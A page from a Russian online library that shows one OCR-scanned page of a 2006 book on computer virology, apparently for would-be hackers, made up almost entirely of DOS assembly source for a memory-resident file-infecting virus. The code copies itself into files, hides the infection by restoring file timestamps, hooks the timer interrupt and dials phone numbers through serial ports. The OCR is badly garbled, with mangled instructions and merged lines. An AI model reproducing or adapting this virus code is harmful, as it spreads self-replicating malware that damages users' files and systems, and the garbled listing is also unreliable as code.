Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 42 43 44 45 46 47 < 48 > 49 50 51 52 53 54 .. 123 >> Следующая

cmp ah.al ;оно есть, то прыгаем к Close_File, в
jne Notjnfected ;ином случае прыгаем inc si ;к Notjnfected
inc di
loop Check_For_lnfection
jmp short Close_File nop
Notjnfected:
mov ax,4200
mov bx.word ptr cs: [handle] xor cx.cx mov dx.cx
int 21 перемещаемся к началу файла
jc Close_File mov si, 100
mov cx,offset (end_main_virus-100) xor di.di
mov ax,word ptr cs:[mem_allocated] mov ds,ax
Copy_Virus:
mov al,cs:[si] ;копируем вирус в файл в памяти mov [di],al ;"repnz movsw"
работает не многим inc si ;лучше inc di
loop Copy_Virus mov ax,5700
mov bx.word ptr cs: [handle]
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
int 21 [получаем дату/время файла mov word ptr cs:[file_time],cx
[сохраняем время файла mov word ptr cs:[file_date],dx [сохраняем дату
файла mov ах,word ptr cs: [mem_allocated] mov ds.ax
mov si, offset (end_main_virus-100) mov al,[si] [кодируем первый
сохраненный байт add al.OBh mov [si],al xor dx.dx
mov cx,word ptr cs:[fie_size] .рассчитываем новый размер add cx,offset
end_main_virus-100 [файла (добавляем mov bx.word ptr cs:[handle] [размер
вируса) mov ah,40
int 21 [переписываем файл
mov word ptr cx,cs:[file_time] mov word ptr dx,cs:[file_date] mov bx.word
ptr cs: [handle] mov ax,5701 int 21 [восстанавливаем время файла
Close_File:
mov bx.word ptr cs: [handle] mov ah,3E int 21 [закрываем файл
push cs pop ds
Reset_DTA:
mov dxt80 mov ah,1A
17R
ГЛАВА 4. Вирус - резидент памяти
int 21 восстанавливаем DTA до значений по умолчанию mov ax.word
ptrcs:[mem_allocated] mov es.ax mov ah,49
int 21 освобождаем назначенную память
mov ax.word ptr cs:[filename_seg] mov ds.ax
mov dx,word ptr cs:[filename_off] mov ax,4301
mov cx.word ptr cs:[attribs] int 21 '.восстанавливаем дату/время файла
jmp short Endjnfect nop
Pop_And_Quit_lnfect:
pop ds pop dx
jmp short Endjnfect nop
Endjnfect:
pop di es bp dx ax cx si bx ds jmp GoJnt_21
Обработчик Timer Click (INT 8) - для набора телефонным номеров:
lnt_08:
push bp ds es ax bx cx dx si di
pushf ; вталкиваем в стек флаги
;cafl word pfr cs:[int_08_Offj ;выгюлняем старый timer cick
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
db 2e,0ff,1e,26,01
call Timing_Routine
push cs pop ds mov ah,5
mov ch.byte ptr [save_time_a]
cmp ah.ch
ja Quit_int_08
;если [save_time_a] !=6, выход
mov ah ,6
cmp ah.ch
jb Quit_int_08
mov ah,byte ptr [Ready_Byte] cmp ah,1 je Go_Dial
mov ah,1
mov byte ptr [Ready_Byte] ,ah jmp short Quitjnt_08 nop
Go_Dial:
call Wlrite_Ports
inc word ptr [Bytes.Wtftten] mov ax,word ptr [Bytes_Written] cmp ax,21С
jne Quitjnt_08
178
ГЛАВА 4. Вирус - резидент памяти
хог ах,ах ;сбрасываем счетчики
mov byte ptr [Ready_Byte],ah mov word ptr [Bytes_Wiritten],ax mov byte
ptr [Data_Ready],ah
Quit int 08:
pop di si dx cx bx ax es ds bp iret
Подпрограмма для дозвона
Timing_Routlne:
push cs pop ds
xor al.al
mov ah.byte ptr [Timing_Counter]
cmp ah,11
jne lnc_Time_Count
mov ah.byte ptr [save_date]
cmp ah,3bh
jne lnc_Saved_Date
mov ah.byte ptr [save_time_b]
cmp ah,3bh
jne lnc_S_T_B
mov ah.byte ptr [save_time_a]
cmp ah,17
jne lnc_S_T_A
mov byte ptr [save_time_a],al
Save*T_B:
mov byte ptr tsave_time_b] ,ai Store_Save_Date:
mov byte ptr [save_date],al
179
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Time_Count:
mov byte ptr [Timing_Counter] ,al ret
lnc_Time_Count:
inc byte ptr [Timing_Counter] ret
lnc_Saved_Date:
inc byte ptr [save_date] jmp short Time_Count
lnc_S_T_B:
inc byte ptr [save_time_b] jmp short Store_Save_Date
lnc_S_T_A:
inc byte ptr [save_time_a] jmp short Save_T_B
dial_string db +++aTh0m0s7=35dp081 ,,,,141* .строкадозвона, чтобы вызвать
"говорящие часы" в Греции
Запись данных а Сот-порты
Write_Ports:
mov al.byte ptr [Data_Ready] cmp al,1
je Ret_Write_Ports ;прыгаем, если равны
mov al.byte ptr [Portsjnitialized] ;порты были уже cmp al,1
инициализированы?
je Alreadyjnitialized
mov cx,3
180
ГЛАВА 4. Вирус - резидент памяти
lnit_Ports: mov dx.cx xor ah.ah
mov al,83 инициализируем Comport int 14 ; 1200 Baud, No Parity,
;1 Stop Bit, 8 bit Word Len loop lnit_Ports инициализируем все порты 1 -4
mov al, 1
mov byte ptr [Portsjnitializedj.al
jmp short Ret_Write_Ports nop
AlreadyJnitialized:
push cs pop ds
mov si .offset dial_string
mov al.byte ptr [Character_Count]
cmp al,1A
jne Write_From_SI_To_Ports jmp short Setup_write nop
Write_From_SI_To_Ports: xor ah.ah add si,ax mov al,[si]
mov dx,3F8 ;выходные данные из SI к стандартным out dx.al ;адресам
портов 1-4
mov dx,2F8 ;инкрементирует счет символов
out dx.al
1Й1
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov dx,2E8 out dx.al mov dx,3E8 out dx.al
inc byte ptr [CharacterJSount] jmp short Ret_\Afrite_Ports nop
Setup_write:
mov cx,3 Write_To_AII_Ports:
mov dx.cx mov al.Odh mov ah,1
int 14 записываем 1 во все порты
loop Write_To_AII_Ports
mov ax, 1
mov byte ptr [Data_Ready],al mov byte ptr [CharacterJDount],ah mov byte
ptr [Ports"Initialized] ,ah
Ret_Write_Ports:
ret
;точка входа вируса
Virus_Entry:
mov ah.OeO
int 21 ;проверка инициализации cmp ax.Odada инициализирован? jne
Предыдущая << 1 .. 42 43 44 45 46 47 < 48 > 49 50 51 52 53 54 .. 123 >> Следующая